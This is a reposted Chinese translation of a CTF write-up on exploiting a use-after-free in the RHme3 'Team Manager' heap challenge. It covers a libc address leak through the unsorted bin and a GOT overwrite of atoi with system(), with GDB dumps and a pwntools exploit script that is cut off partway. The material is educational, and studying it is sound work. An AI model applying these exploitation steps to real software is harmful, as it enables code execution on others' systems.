Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】堆利用——UAF之殇

$
0
0
【技术分享】堆利用——UAF之殇

2017-09-29 10:08:55

阅读:653次
点赞(0)
收藏
来源: 0x00sec.org





【技术分享】堆利用——UAF之殇

作者:天鸽





【技术分享】堆利用——UAF之殇

译者:天鸽

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

距离我上次的 CTF write-up 已经很久了。主要原因是我正在努力掌握堆利用的方法。我将使用 RHme3 CTF 的一个二进制文件来展示一种现代化的基于堆的二进制漏洞利用方法。要想掌握堆利用,一篇 write-up 是不够的,我在下面列出了一些资源,可以帮助你掌握 malloc 和 free 等的算法。请记住,堆利用是很困难的,不要期望能在前十到二十次尝试之前掌握它。

Glibc Malloc Internals

Heap Exploitation


二进制文件回顾

首先运行二进制文件。

WelcometoyourTeamManager(TM)! 0.-Exit 1.-Addplayer 2.-Removeplayer 3.-Selectplayer 4.-Editplayer 5.-Showplayer 6.-Showteam Yourchoice:

我们看到了上面的菜单。一般来说,CTF 中大多数的堆 pwnable 都是一个菜单驱动的二进制文件。

弄清楚二进制文件的功能后,得出下面的结论:

为了组建一个球队,我们要先创建球员。每个球员都是这样的一个结构体。

structplayer{ int32_tattack_pts; int32_tdefense_pts; int32_tspeed; int32_tprecision; char*name; }

我们可以显示、转储和编辑球队或球员的信息。

我们可以从球队中删除球员。

为了能执行上面两个操作,我们需要先通过输入一个索引来选择球员。这一点很重要。

下面我们开始反汇编。


逆向工程

我将专注于二进制文件的核心功能。

球员分配:

堆 pwnable 的 go-to 函数用于给对象分配内存。(在这里指一个球员)。

提示 1:请注意,我们不需要对整个二进制文件进行逆向。通过静态分析快速地了解二进制文件,然后大部分时间都在动态分析。

提示 2:大多数基于堆的二进制文件需要跟踪动态分配的对象。为了做到这一点,通常有一个全局的结构体指针数组。

在 addPlayer 函数的开头我们得到了两行汇编代码:

00401848movrax,qword[rax*8+0x603180] 00401850testrax,rax

让我们做一些假设。

从地址 0x603180 中我们能读取到的内容取决于 rax 的值。这是典型的数组索引。

正如提示 2 中所说的,程序需要跟踪那些已分配内存的对象。所以这里会包含一个对该数组值的内容的检查,以确定其是否为空(NULL)。

由于它是一个内存分配函数,它很可能先给一个新对象分配内存,然后将其指针存储在某个数组索引中,索引的值取决于检查的结果。

在函数的最后且退出之前有下面这行代码:

00401af8movqword[rax*8+0x603180],rdx

它使用了相同的索引方法,但这次在索引指向的条目中存入的是 rax 的值。我认为对象分配的执行方式如下:

检查全局数组中是否有可用于分配的条目。

如果检查的结果是有,则向用户询问球员的信息。

用户输入后,把新分配球员的地址存入全局数组。

球员选择:

在启动 GDB 之前,我们来看一下球员选择的函数。直觉告诉我,这里可能有一个 bug。

00401c8bmoveax,dword[rbp-0x14] 00401c8emovrax,qword[rax*8+0x603180] 00401c96movqword[relselected],rax

eax 寄存器从偏移 rbp-0x14 处的局部变量中获得值。

eax 确实是作为该全局数组的索引。

rax 保存了该数组元素的内容(在这里指球员对象的地址),并且 eax 被存储在另一个被称作 selected 的全局变量的地址中。

虽然该二进制文件不是 stripped 的,但在 stripped 的情况下,也是一样的。


动态分析

首先,我们来看看球员分配在 GDB 中是怎样执行的。
defalloc(name,attack=1, defense=2,speed=3,precision=4): p.recvuntil('choice:') p.sendline('1') p.recvuntil('name:') p.sendline(name) p.recvuntil('points:') p.sendline(str(attack)) p.recvuntil('points:') p.sendline(str(defense)) p.recvuntil('speed:') p.sendline(str(speed)) p.recvuntil('precision:') p.sendline(str(precision)) return defpwn(): alloc('A'*0x60) (gdb)x/80gx0x604000 actualplayerchunk-->0x604000:0x00000000000000000x0000000000000021 Pointerreturnedbymalloc-->0x604010:0x00000002000000010x0000000400000003 player'snamechunk-->0x604020:0x00000000006040300x0000000000000071 0x604030:0x41414141414141410x4141414141414141 0x604040:0x41414141414141410x4141414141414141 0x604050:0x41414141414141410x4141414141414141 0x604060:0x41414141414141410x4141414141414141 0x604070:0x41414141414141410x4141414141414141 0x604080:0x41414141414141410x4141414141414141 topchunk-->0x604090:0x00000000000000000x0000000000020f71 在这里我们分配了一个新的球员。从上图中可以看出,球员对象默认被分配的大小为 0x20(最后一位被设置时表示前一个 chunk 正在使用中),对象的名字(大小为 0x60)被一个 malloc 指针指向的一个新分配的 chunk 专门存储。

让我们继续下一次分配。

alloc('B'*0x60) (gdb)x/80gx0x604000 0x604000:0x00000000000000000x0000000000000021<--player0 0x604010:0x00000002000000010x0000000400000003 0x604020:0x00000000006040300x0000000000000071 0x604030:0x41414141414141410x4141414141414141 0x604040:0x41414141414141410x4141414141414141 0x604050:0x41414141414141410x4141414141414141 0x604060:0x41414141414141410x4141414141414141 0x604070:0x41414141414141410x4141414141414141 0x604080:0x41414141414141410x4141414141414141 0x604090:0x00000000000000000x0000000000000021<--player1 0x6040a0:0x00000002000000010x0000000400000003 0x6040b0:0x00000000006040c00x0000000000000071 0x6040c0:0x42424242424242420x4242424242424242 0x6040d0:0x42424242424242420x4242424242424242 0x6040e0:0x42424242424242420x4242424242424242 0x6040f0:0x42424242424242420x4242424242424242 0x604100:0x42424242424242420x4242424242424242 0x604110:0x42424242424242420x4242424242424242 0x604120:0x00000000000000000x0000000000020ee1<--topchunk 因为数组索引从 0 开始,所以我使用球员 0 作为第一个球员,以此类推。
alloc('C'*0x80) alloc('D'*0x80) (gdb)x/90gx0x604000 0x604000:0x00000000000000000x0000000000000021<--player0 0x604010:0x00000002000000010x0000000400000003 0x604020:0x00000000006040300x0000000000000071 0x604030:0x41414141414141410x4141414141414141 0x604040:0x41414141414141410x4141414141414141 0x604050:0x41414141414141410x4141414141414141 0x604060:0x41414141414141410x4141414141414141 0x604070:0x41414141414141410x4141414141414141 0x604080:0x41414141414141410x4141414141414141 0x604090:0x00000000000000000x0000000000000021<--player1 0x6040a0:0x00000002000000010x0000000400000003 0x6040b0:0x00000000006040c00x0000000000000071 0x6040c0:0x42424242424242420x4242424242424242 0x6040d0:0x42424242424242420x4242424242424242 0x6040e0:0x42424242424242420x4242424242424242 0x6040f0:0x42424242424242420x4242424242424242 0x604100:0x42424242424242420x4242424242424242 0x604110:0x42424242424242420x4242424242424242 0x604120:0x00000000000000000x0000000000000021<--player2 0x604130:0x00000002000000010x0000000400000003 0x604140:0x00000000006041500x0000000000000091 0x604150:0x43434343434343430x4343434343434343 0x604160:0x43434343434343430x4343434343434343 0x604170:0x43434343434343430x4343434343434343 0x604180:0x43434343434343430x4343434343434343 0x604190:0x43434343434343430x4343434343434343 0x6041a0:0x43434343434343430x4343434343434343 0x6041b0:0x43434343434343430x4343434343434343 0x6041c0:0x43434343434343430x4343434343434343 0x6041d0:0x00000000000000000x0000000000000021<--player3 0x6041e0:0x00000002000000010x0000000400000003 0x6041f0:0x00000000006042000x0000000000000091 0x604200:0x44444444444444440x4444444444444444 0x604210:0x44444444444444440x4444444444444444 0x604220:0x44444444444444440x4444444444444444 0x604230:0x44444444444444440x4444444444444444 0x604240:0x44444444444444440x4444444444444444 0x604250:0x44444444444444440x4444444444444444 0x604260:0x44444444444444440x4444444444444444 0x604270:0x44444444444444440x4444444444444444 0x604280:0x00000000000000000x0000000000020d81<--topchunk 这是用于保存球员结构体指针的全局数组:
(gdb)x/4gx0x603180 0x603180<players>:0x00000000006040100x00000000006040a0 0x603190<players+16>:0x00000000006041300x00000000006041e0

很好,我们正式创建了一支球队。下面我们来 pwn 它!


UAF 漏洞

堆有关于内存的分配和释放。如果一个被释放的内存没有被正确地管理,就可能发生信息泄露,甚至是任意代码执行。我们来看一下,在删除一个球员时,实际发生了什么。

[...] /*index*/ 00401b9cmoveax,dword[rbp-0x1c] /*playerstructpointer*/ 00401b9fmovrax,qword[rax*8+0x603180] 00401ba7movqword[rbp-0x18],rax 00401babmoveax,dword[rbp-0x1c] /*Mitigatedouble-free,goodshit*/ 00401baemovqword[rax*8+0x603180],0x0 00401bbamovrax,qword[rbp-0x18] /*player'snamepointer*/ 00401bbemovrax,qword[rax+0x10] 00401bc2movrdi,rax 00401bc5callfree /*player'schunk*/ 00401bcamovrax,qword[rbp-0x18] 00401bcemovrdi,rax 00401bd1callfree [...] 首先被释放的是球员的名字,然后是球员本身的 chunk。回想一下,当我们想要 show 一个球员之前,必须先 select 它。但是,上面的汇编代码并不会将全局变量 selected 清零。这是一个重要的逻辑错误,它意味着即使球员已经被释放,我们仍然可以打印出球员的信息。

show 函数的工作:

/*Globalvariableholdingaplayerpointer*/ [...] 004020f2movrax,qword[relselected] 004020f9movrdi,rax 004020fccallshow_player_func [...]

正如你看到的,它接收变量 selected 的内容作为一个参数,而该参数是一个球员结构体的指针。


堆崩溃简介

在现代操作系统中,ASLR 是(或应该是)被开启的。为了得到 shell,我们需要用 sh 作为参数来调用 system()。我们事先并不知道 system() 的地址,但可以先泄露某个 libc 函数的地址,帮助我们计算出 libc 的基址,然后根据偏移得到 system() 的地址。所有这一切,都要感谢 Use-After-Free 漏洞。

在开始之前,我们先回顾下关于 malloc 和 free 处理 chunk 知识。

Malloc 根据 chunk 大小的不同来管理它们。

structmalloc_chunk{ INTERNAL_SIZE_Tmchunk_prev_size;/*Sizeofpreviouschunk(iffree).*/ INTERNAL_SIZE_Tmchunk_size;/*Sizeinbytes,includingoverhead.*/ structmalloc_chunk*fd;/*doublelinks--usedonlyiffree.*/ structmalloc_chunk*bk; /*Onlyusedforlargeblocks:pointertonextlargersize.*/ structmalloc_chunk*fd_nextsize;/*doublelinks--usedonlyiffree.*/ structmalloc_chunk*bk_nextsize; }; mallocchunk chunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Sizeofpreviouschunk,ifunallocated(Pclear)| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Sizeofchunk,inbytes|A|M|P| mem->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Userdatastartshere.... .. .(malloc_usable_size()bytes). .| nextchunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |(sizeofchunk,butusedforapplicationdata)| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Sizeofnextchunk,inbytes|A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ freechunk chunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Sizeofpreviouschunk,ifunallocated(Pclear)| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:'|Sizeofchunk,inbytes|A|0|P| mem->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Forwardpointertonextchunkinlist| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Backpointertopreviouschunkinlist| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Unusedspace(maybe0byteslong). .. .| nextchunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:'|Sizeofchunk,inbytes| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Sizeofnextchunk,inbytes|A|0|0| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 有三种核心的 chunk 类型:

Fast chunks - 表示小尺寸的 chunk

Small chunks - 表示尺寸不是那么小的 chunk

Large chunks - 表示尺寸相当庞大的 chunk

当一个 chunk 被释放时,它被保存到一个列表里。该列表可能是单链表或循环双链表。但不是所有类型的 chunk 都被放在同一个列表中。基本上,就是那些被叫做 fast bin、small bin、unsorted bin 和 large bin 的 chunk。

Fast bins:

总共有 10 个 fast bin。这些 bins 中的每一个都维护着一个单链表。添加和删除操作发生在该列表的头部(LIFO)。两个相邻的空闲 fast chunk 不会被合并在一起。

Small bins:

总共有 62 个 small bin。small bin 的速度比 large bin 要快,但比 fast bin 要慢。每一个 bin 维护一个双链表。插入操作发生在链表的头部,而删除操作发生在尾部(FIFO)。small chunk 如果以 unsorted bin 结尾,则可能被合并在一起。

Large bins:

总共有 63 个 large bin。每个 bin 维护着一个双链表。一个特定的 large bin 具有不同大小的 chunk,以递减顺序排列(即最大的 chunk 在头部而最小的 chunk 在尾部)。插入和删除操作可以发生在链表的任何地方。large chunk 如果以 unsorted bin 结尾,则可能被合并在一起。

Unsorted bin:

unsorted bin 只有一个。当 small chunk 和 large chunk 被释放时,以该 bin 作为结尾。该 bin 的主要作用是充当一个“缓冲层(cache layer)”,以加快内存分配和释放请求的速度。

Top Chunk:

它是作为一个 arena 上边界的 chunk。它是处理 malloc 请求时最后的操作。


UAF 漏洞

现在我们已经分配了 4 名球员,下面我们来泄露 libc 函数的地址。
select(2) free(2) (gdb)x/80gx0x604000 0x604000:0x00000000000000000x0000000000000021<--player0[inuse] 0x604010:0x00000002000000010x0000000400000003 0x604020:0x00000000006040300x0000000000000071 0x604030:0x41414141414141410x4141414141414141 0x604040:0x41414141414141410x4141414141414141 0x604050:0x41414141414141410x4141414141414141 0x604060:0x41414141414141410x4141414141414141 0x604070:0x41414141414141410x4141414141414141 0x604080:0x41414141414141410x4141414141414141 0x604090:0x00000000000000000x0000000000000021<--player1[inuse] 0x6040a0:0x00000002000000010x0000000400000003 0x6040b0:0x00000000006040c00x0000000000000071 0x6040c0:0x42424242424242420x4242424242424242 0x6040d0:0x42424242424242420x4242424242424242 0x6040e0:0x42424242424242420x4242424242424242 0x6040f0:0x42424242424242420x4242424242424242 0x604100:0x42424242424242420x4242424242424242 0x604110:0x42424242424242420x4242424242424242 0x604120:0x00000000000000000x0000000000000021<--player2[free] 0x604130:0x00000000000000000x0000000400000003 0x604140:0x00000000006041500x0000000000000091 0x604150:0x00007ffff7dd37b80x00007ffff7dd37b8 0x604160:0x43434343434343430x4343434343434343 0x604170:0x43434343434343430x4343434343434343 0x604180:0x43434343434343430x4343434343434343 0x604190:0x43434343434343430x4343434343434343 0x6041a0:0x43434343434343430x4343434343434343 0x6041b0:0x43434343434343430x4343434343434343 0x6041c0:0x43434343434343430x4343434343434343 球员 2 被正式释放了,但它的名字指针依然指向相同的区域。我们把球员 2 的信息挑出来。
0x604120:0x00000000000000000x0000000000000021<--player2[free] 0x604130:0x00000000000000000x0000000400000003 0x604140:0x00000000006041500x0000000000000091 0x604150:0x00007ffff7dd37b80x00007ffff7dd37b8 0x604160:0x43434343434343430x4343434343434343 0x604170:0x43434343434343430x4343434343434343 0x604180:0x43434343434343430x4343434343434343 0x604190:0x43434343434343430x4343434343434343 0x6041a0:0x43434343434343430x4343434343434343 0x6041b0:0x43434343434343430x4343434343434343 0x6041c0:0x43434343434343430x4343434343434343 0x6041d0:0x00000000000000900x0000000000000020<--player3[inuse] 0x6041e0:0x00000002000000010x0000000400000003 0x6041f0:0x00000000006042000x0000000000000091 请注意:球员 3 表示大小的 chunk 从 0x21 变为 x020。malloc 就是通过这样将最低有效位置 0 的方式,判断前面的 chunk 是否为空。

Libc 中有一个叫做 main_arena 的数据结构。这个结构体中存储着 bin 列表的头和尾。

Fastbin 列表

typedefstructmalloc_chunk*mfastbinptr; //Arrayofpointerstochunks mfastbinptrfastbinsY[]; unsorted/small/largebins列表: typedefstructmalloc_chunk*mchunkptr; //Arrayofpointerstochunks mchunkptrbins[];

换句话说,libc 根据 chunks 的大小将其指针存储在不同的数组中,从而对已分配的 chunks 进行跟踪。实际上,每个条目都是一个单(或双)链表,它包含了指向不同大小的 chunk 的指针。fastbin 列表的第一个条目指向一个大小为 16 的空闲 chunk。fastbin 列表的第二个条目指向大小为 24 的空闲 chunk,以此类推。unsorted、small、large bin 也是一样的。

请注意,这些 bin 列表将 chunk 指针存储在它们各自的条目中,但都有一个相应大小的边界。就像一个 fast bin 列表不能指向一个 small chunk 大小的 chunk 一样。

让我们回到球员 2。它的名字指针指向了一个 small chunk 大小的 chunk。一旦前一个和后一个 chunk 被释放,它的 fd 和 bk 将被分别赋予指向两个空闲 chunk 的指针。由于是第一个被释放的 chunk,它的指针都指向一个相同的位置,即 libc。

(gdb)heapinfoall ==================MainArena================== (0x20)fastbin[0]:0x604120-->0x0 (0x30)fastbin[1]:0x0 (0x40)fastbin[2]:0x0 (0x50)fastbin[3]:0x0 (0x60)fastbin[4]:0x0 (0x70)fastbin[5]:0x0 (0x80)fastbin[6]:0x0 top:0x604280(size:0x20d80) last_remainder:0x0(size:0x0) unsortbin:0x604140(size:0x90) 看起来我没有说错,球员的 chunk 确实被放入它相应的 fastbin 列表中,而球员的名字 chunk 被放入 unsorted bin 中。

利用这个程序的逻辑,就可以泄露这些 libc 值(无论 libc 的基址怎么变化,偏移总是不变的)。

(gdb)x/gx0x603170 0x603170<selected>:0x0000000000604130 正如你上面看到的,即使我们释放了玩家 2,它的地址依然保存在 selected 变量中。如果我们现在调用 show 函数,将读取 selected 变量中的地址,并打印出其内容。
#The'selected'arraycontainsthe3rdplayerobject #WeareabusingtheUAFvulntoleaklibc #show_playerjustchecksifthe'selected'arrayisempty #ifit'snot,itwillprintthevalueoftheplayer'sobject #withoutcheckingifit'sactuallyfree'dornot show() p.recvuntil('Name:') leak=u64(p.recv(6).ljust(8,'\x00')) libc=leak-0x3c17b8 system=libc+0x46590 log.info("Leak:0x{:x}".format(leak)) log.info("Libc:0x{:x}".format(libc)) log.info("system:0x{:x}".format(system)) [*]Leak:0x7ffff7dd37b8 [*]Libc:0x7ffff7a12000 [*]system:0x7ffff7a58590

于是我们成功泄露出了指向 main_arena 的指针并得到了 libc 的基址。下面就 pwn 掉这个二进制程序吧。


Pwning Time

现在的问题时,我们如何执行任意代码?继续往下看。
#Consolidatewithtopchunk free(3) 0x604120:0x00000000000000000x00000000000000b1<--player2[free] 0x604130:0x00007ffff7dd37b80x00007ffff7dd37b8 0x604140:0x00000000006041500x0000000000000091 0x604150:0x00007ffff7dd37b80x00007ffff7dd37b8 0x604160:0x43434343434343430x4343434343434343 0x604170:0x43434343434343430x4343434343434343 0x604180:0x43434343434343430x4343434343434343 0x604190:0x43434343434343430x4343434343434343 0x6041a0:0x43434343434343430x4343434343434343 0x6041b0:0x43434343434343430x4343434343434343 0x6041c0:0x43434343434343430x4343434343434343 0x6041d0:0x00000000000000b00x0000000000000020<--player3[free] 0x6041e0:0x00000000000000000x0000000400000003 0x6041f0:0x00000000006042000x0000000000020e11<--topchunk malloc 会整合所有相邻的空闲 chunk,并根据合并后的大小更新这些 chunk 的尺寸值,这就意味着有更多的可用空间可以分配。
(0x20)fastbin[0]:0x6041d0-->0x0 (0x30)fastbin[1]:0x0 (0x40)fastbin[2]:0x0 (0x50)fastbin[3]:0x0 (0x60)fastbin[4]:0x0 (0x70)fastbin[5]:0x0 (0x80)fastbin[6]:0x0 top:0x6041f0(size:0x20e10) last_remainder:0x0(size:0x0) unsortbin:0x604120(size:0xb0) 现在考虑以下几点。下一次分配会发生什么?

每个球员对象的默认大小为 0x20,根据我们输入的长度,chunk 的大小会有不同。

当我们分配了一个新的 chunk 时,malloc 将根据请求的尺寸检查相应的 bin 列表,查看是否有同等大小的可用 chunk。这就是所谓的 first-fit behavior。记住,在 fastbin 删除和添加操作都发生在列表的头部。换句话说,球员的信息被存储在 0x6041d0 处,因为它是一个符合 0x20 大小的空闲 fastbin chunk。

unsorted bin 保存了地址 0x604120。那是球员 2 chunk 的地址。这与 free(3) 执行之前的地址不一样。因为 malloc 合并了相邻的空闲 chunk,所以必须更新地址。用于检查相邻 chunk 的代码如下:

/*consolidatebackward*/ if(!prev_inuse(p)){ prevsize=p->prev_size; size+=prevsize; p=chunk_at_offset(p,-((long)prevsize)); /*Classicdouble-linkedlistunlinking*/ unlink(av,p,bck,fwd); }

无论我们输入的名字有多长(不能大于目前 unsorted bin 列表中的 chunk 大小,在这里是 0xb0),都应该返回地址 0x604120 以储存它。如果小于 0xb0,则给定的 chunk 会被拆分开。

但是这里的 0x604120 就是球员 2 的 chunk 地址,所以我们可以构造 payload 来覆写它的数据。因为球员 2 仍然在变量 selected 中,所以我们能将它打印或者修改等等。如果我们用一个自己选择的指针(GOT 条目)来覆写原来的指针,然后使用它调用 edit 函数,将能够重定向代码的执行。

让我们来验证这些假设。

#Overwrite3rdplayer's(index2)namepointerwithatoi #inordertoedititwithsystem'saddress alloc('Z'*8*2+p64(atoi_got)) edit(p64(system)) 我选择 GOT 里的 atoi 函数来覆写 。原因是 atoi 接收一个指向我们输入的指针,然后将其转换回整数。如果将 atoi 换成 system 函数,并提供 sh 作为 system 的参数,就能得到 shell。
0x604120:0x00000000000000000x0000000000000021<--newplayer'sname[oldplayer2] 0x604130:0x5a5a5a5a5a5a5a5a0x5a5a5a5a5a5a5a5a 0x604140:0x00000000006031100x0000000000000091 0x604150:0x00007ffff7dd37b80x00007ffff7dd37b8 0x604160:0x43434343434343430x4343434343434343 0x604170:0x43434343434343430x4343434343434343 0x604180:0x43434343434343430x4343434343434343 0x604190:0x43434343434343430x4343434343434343 0x6041a0:0x43434343434343430x4343434343434343 0x6041b0:0x43434343434343430x4343434343434343 0x6041c0:0x43434343434343430x4343434343434343 0x6041d0:0x00000000000000900x0000000000000020<--newallocatedplayer 0x6041e0:0x00000002000000010x0000000400000003 0x6041f0:0x0000000000604130

我们所有的假设都被证实了。0x6041d0 确实是存储新球员信息的地址,而 0x604120 是存储球员名字的地址。我们成功地利用 atoi 的 GOT 条目覆写了球员 2 的原始名字指针。通过 edit 函数,我们用 system 的地址替换 atoi 的地址,一旦调用了 atoi 将我们的输入转换为整数,这个游戏就结束了!

Exploit/PoC frompwnimport* atoi_got=0x603110 defalloc(name,attack=1, defense=2,speed=3,precision=4): p.recvuntil('choice:') p.sendline('1') p.recvuntil('name:') p.sendline(name) p.recvuntil('points:') p.sendline(str(attack)) p.recvuntil('points:') p.sendline(str(defense)) p.recvuntil('speed:') p.sendline(str(speed)) p.recvuntil('precision:') p.sendline(str(precision)) return defedit(name): p.recvuntil('choice:') p.sendline('4') p.recvuntil('choice:') p.sendline('1') p.recvuntil('name:') p.sendline(name) p.recvuntil('choice:') p.sendline('sh') return defselect(idx): p.recvuntil('choice:') p.sendline('3') p.recvuntil('index:') p.sendline(str(idx)) &nbsp


【技术分享】堆利用——UAF之殇
【技术分享】堆利用——UAF之殇
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580

Viewing all articles
Browse latest Browse all 12749

Trending Articles